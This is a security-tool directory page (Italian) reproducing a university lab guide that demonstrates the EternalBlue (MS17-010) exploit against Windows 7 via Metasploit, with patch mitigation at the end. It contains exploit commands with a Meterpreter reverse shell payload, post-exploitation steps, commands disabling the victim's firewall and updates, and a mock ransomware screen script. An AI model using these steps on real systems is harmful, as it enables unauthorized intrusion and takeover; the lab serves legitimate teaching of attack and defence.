Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
EternalBlue-Exploit-Demonstration — Laboratorio didattico che dimostra lo sfruttamento di EternalBlue (MS17-010) contro Windows 7 utilizzando Metasploit, inclusi post-sfruttamento, simulazione del ransomware WannaCry e mitigazione delle patch in un ambiente isolato. | Kitploit
Strumenti/GitHubGitHub/dannic145/eternalblue-exploit-demonstration
Framework di ExploitGenerazione di PayloadAnalisi delle VulnerabilitàExploitPost-ExploitAnalisi MalwareCTFPenetration TestingApprendimento e Formazione
Red Teaming
Lab e Pratica
GitHubdannic145/eternalblue-exploit-demonstration

EternalBlue-Exploit-Demonstration

Laboratorio didattico che dimostra lo sfruttamento di EternalBlue (MS17-010) contro Windows 7 utilizzando Metasploit, inclusi post-sfruttamento, simulazione del ransomware WannaCry e mitigazione delle patch in un ambiente isolato.

Vedi Repository
355 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Dimostrazione dell'exploit EternalBlue (MS17-010)

Laboratorio di cybersecurity che dimostra lo sfruttamento di CVE-2017-0144 (EternalBlue) utilizzando Metasploit contro un sistema Windows 7 vulnerabile, ottenendo accesso a livello SYSTEM tramite Meterpreter.

Questo progetto simula anche un attacco ransomware in stile WannaCry (DEMO SICURA) e mostra la mitigazione utilizzando la patch di sicurezza MS17-010.


Informazioni sul Modulo

Modulo: CSCM828 Vulnerabilità di Sicurezza e Penetration Testing

Studenti:

  • Daniel Nicolas Rentapalli (2548048)
  • Ichhya Koirala (2607189)

Università: Swansea University


Risorse e Download

  1. MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
    https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/

  2. KB4012212 (Windows 7 x64 Aggiornamento di Sicurezza)
    https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212%20Windows%207%20x64

  3. Kali Linux (Download Macchine Virtuali)
    https://www.kali.org/get-kali/#kali-virtual-machines

  4. Windows 7 SP1 Home Premium English x64 (ISO)
    https://archive.org/details/windows-7-home-prem-english

  5. VMware Workstation Pro 17.6.4
    https://www.vmware.com/products/desktop-hyper


1. Panoramica

Questo laboratorio mostra:

  • Sfruttamento remoto della vulnerabilità SMB (MS17-010)
  • Accesso a livello kernel tramite EternalBlue
  • Stabilimento della sessione Meterpreter
  • Tecniche di post-sfruttamento
  • Simulazione di ransomware in stile WannaCry (sicura)
  • Mitigazione tramite patch

2. Ambiente di Laboratorio

Requisiti

  • VMware Workstation / VirtualBox
  • Minimo 8GB di RAM

Macchina Attaccante

  • Kali Linux
  • Metasploit Framework

Macchina Vittima

  • Windows 7 SP1 x64 (Senza patch)

Rete

  • Host-only / NAT (ambiente isolato)
  • Assicurarsi che entrambe le macchine possano comunicare

⚠️ Questo laboratorio deve essere condotto in un ambiente completamente isolato.


3. Configurazione Vittima (Windows 7)

Eseguire nel Prompt dei Comandi come Amministratore:

Disabilitare il Firewall

netsh advfirewall set allprofiles state off

Verificare la Porta SMB

netstat -an | findstr :445

Disabilitare gli Aggiornamenti (per stabilità del laboratorio)

sc stop wuauserv
sc config wuauserv start= disabled

4. Configurazione Attaccante (Kali Linux)

Verificare la Connettività

ping <victim-ip>
nmap -p 445 <victim-ip>

5. Passaggi di Sfruttamento

Passo 1: Scansionare il Target

nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>

Previsto:

  • L'host è VULNERABILE

Passo 2: Eseguire l'Exploit

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <victim-ip>
set LHOST <attacker-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

Passo 3: Confermare l'Accesso

meterpreter > getuid

Previsto:

NT AUTHORITY\SYSTEM

6. Post-Sfruttamento

sysinfo
getuid
ps
screenshot
shell
whoami
ipconfig

Migrazione Stabile

ps
migrate <explorer.exe PID>

7. Simulazione WannaCry (DEMO SICURA)

Creare il Payload (Kali)

cat > /tmp/wannacry64.bat << 'EOF'
@echo off
title WannaCryptor Demo - SAFE SIMULATION
color 0a
mode con: cols=80 lines=25
cls

setlocal enabledelayedexpansion

set id=%random%-%random%-%random%
set /a timeleft=60

:main
cls
echo ========================================================
echo           WANNA DECRYPTOR 0.4 x64 (DEMO)
echo ========================================================
echo.
echo  All files have been encrypted!
echo.
echo  Send 0.25 BTC to:
echo  13AM4VWSEwlt4cLnoQNFfqJDwZ8m9dkVml
echo.
echo  Personal ID: %id%
echo.
echo  Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.

echo Initializing encryption...
timeout /t 2 >nul

for /l %%i in (1,1,20) do (
    set /a percent=%%i*5
    call :progress !percent!
    timeout /t 1 >nul
)

goto countdown

:progress
set bar=
set /a blocks=%1/5
for /l %%b in (1,1,!blocks!) do set bar=!bar!#
cls
echo ========================================================
echo           ENCRYPTING FILES...
echo ========================================================
echo.
echo Progress: [%bar%] %1%%
echo.

set /a randfile=%random% %% 5
if !randfile!==0 echo Encrypting: documents.docx
if !randfile!==1 echo Encrypting: photos.jpg
if !randfile!==2 echo Encrypting: database.sql
if !randfile!==3 echo Encrypting: backup.zip
if !randfile!==4 echo Encrypting: project.pptx

exit /b

:countdown
cls

:loop
cls
echo ========================================================
echo           YOUR FILES ARE ENCRYPTED
echo ========================================================
echo.
echo  Pay within the time limit or files will be lost!
echo.
echo  Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.

if !timeleft! LEQ 0 goto end

set /a timeleft-=1
timeout /t 1 >nul
goto loop

:end
cls
echo ========================================================
echo              TIME EXPIRED
echo ========================================================
echo.
echo  Your files are permanently locked.
echo.
echo  (This was a SAFE DEMO simulation)
echo.
echo ========================================================
pause
EOF

Caricare ed Eseguire

meterpreter > upload /tmp/wannacry64.bat C:\\Windows\\Temp\\wannacry64.bat
meterpreter > execute -f cmd.exe -a "/c start C:\Windows\Temp\wannacry64.bat"

8. Mitigazione (Dimostrazione Patch)

Passo 1: Scaricare la Patch

  • Visita: https://www.catalog.update.microsoft.com/
  • Cerca: KB4012212 Windows 7 x64
  • Scarica il file .msu

Passo 2: Installare la Patch

wusa.exe KB4012212-x64.msu /quiet /norestart

Passo 3: Riavviare

shutdown /r /t 0

Passo 4: Verificare la Patch

systeminfo | findstr KB4012212

Passo 5: Rieseguire l'Exploit

Previsto:

  • L'exploit fallisce
  • Nessuna sessione Meterpreter

Passo 6: Verificare con Nmap

nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>

Previsto:

  • NON VULNERABILE

9. Risoluzione dei Problemi

ProblemaSoluzione
L'exploit fallisceVerificare la connettività
Nessuna sessioneDisabilitare il firewall
La sessione muoreRiprova l'exploit
Nessuna finestra visibileMigrare a explorer.exe

10. Considerazioni Etiche

Questo progetto è condotto:

  • Solo su macchine di laboratorio controllate
  • In una rete completamente isolata
  • Solo per scopi educativi

L'uso non autorizzato viola:

  • UK Computer Misuse Act 1990

11. Conclusione

Questo laboratorio mostra:

  • Sfruttamento reale di SMB utilizzando EternalBlue
  • Compromissione a livello SYSTEM di Windows 7
  • Simulazione di attacco ransomware (sicura)
  • Importanza delle patch tempestive
Scarica lo strumento